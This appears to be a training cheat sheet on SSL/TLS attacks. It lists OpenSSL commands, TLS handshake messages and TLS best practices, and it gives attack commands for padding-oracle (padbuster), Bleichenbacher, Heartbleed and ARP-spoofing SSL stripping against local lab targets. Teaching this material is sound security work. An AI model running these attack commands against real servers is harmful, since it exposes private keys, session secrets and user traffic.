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SSL-TLS Attacks

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OpenSSL

Command
Description

openssl genrsa -out key.pem 2048

Generate 2048 Bit RSA key

openssl s_client -connect hackthebox.com:443 | openssl x509 > hackthebox.pem

Download certificate of web server

openssl x509 -outform der -in hackthebox.pem -out hackthebox.der

Convert PEM certificate to DER format

openssl crl2pkcs7 -nocrl -certfile hackthebox.pem -out hackthebox.p7

Convert PEM certificate to PKCS#7 format

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out selfsigned.pem -sha256 -days 365

Create self-signed certificate

openssl rsa -in rsa.pem -pubout > rsa_pub.pem

Extract public key from RSA key-pair

openssl rsautl -encrypt -inkey rsa_pub.pem -pubin -in msg.txt -out msg.enc

Encrypt file with RSA public key

openssl rsautl -decrypt -inkey rsa.pem -in msg.enc > decrypted.txt

Decrypt file with RSA private key

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TLS 1.2 Handshake

Message
Description

ClientHello

Contains ClientRandom, Cipher Suites supported by client

ServerHello

Contains TLS version, Cipher Suite for session, ServerRandom

Certificate

Contains server certificate

ServerKeyExchange

Contains server key share (only for PFS cipher suites)

ServerHelloDone

Tells client that the ServerHello is complete

ClientKeyExchange

Contains client key share

ChangeCipherSpec

Concludes handshake, all subsequent messages are protected

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TLS 1.3 Handshake

Message
Description

ClientHello

Contains ClientRandom, Cipher Suites supported by client, client key share

ServerHello

Contains TLS version, Cipher Suite for session, ServerRandom, server key share

Finished

Concludes handshake

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Padding Oracles

Command
Description

padbuster http://127.0.0.1:4000/admin "AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=" 16 -encoding 0 -cookies "user=AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0="

Run padbuster with an encrypted sample with block size 16

Parameters:

  • specify block length

  • specify encoding with -encoding flag

  • specify location of ciphertext with -cookies or -post flags

  • specify plaintext to encrypt with -plaintext flag

  • specify -usebody flag to analyze response content

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POODLE

SSL 3.0 padding:

  • arbitrary padding bytes

  • last byte is the length of padding excluding the length itself

  • Example for block size 8: DEADBEEF -> DEADBEEF00000003

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Bleichenbacher

Command
Description

java -jar bleichenbacher-1.0.0.jar -pcap ./bleichenbacher.pcap -executeAttack

Run Bleichenbacher attack from pcap file

java -jar bleichenbacher-1.0.0.jar -executeAttack -connect 127.0.0.1:443 -encrypted_premaster_secret <SNIP>

Run Bleichenbacher attack against server with encrypted premaster secret

echo -n 214[...]3a8 | awk -F '0303' '{print "0303"$2}'

Extract unpadded premaster secret from padded premaster secret

PMS_CLIENT_RANDOM <client_random> <premaster_secret>

Wireshark Key file syntax

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Heartbleed

Command
Description

java -jar heartbleed-1.0.0.jar -connect 127.0.0.1:443 -executeAttack -heartbeats 10

Run Heartbleed attack

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SSL Stripping

Command
Description

sudo arpspoof -i docker0 172.17.0.5

Run ARP spoofing attack on interface docker0 targeting 172.17.0.5

Strict-Transport-Security: max-age=31536000

HSTS header syntax

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Testing TLS Configuration

Command
Description

bash testssl.sh https://hackthebox.com

Test TLS configuration of a website

TLS Best Practices:

  • do not offer SSL 2.0 or SSL 3.0

  • do not offer TLS 1.0 or TLS 1.1

  • no NULL cipher suites

  • no EXPORT cipher suites

  • prefer PFS cipher suites

  • prefer GCM mode over CBC mode

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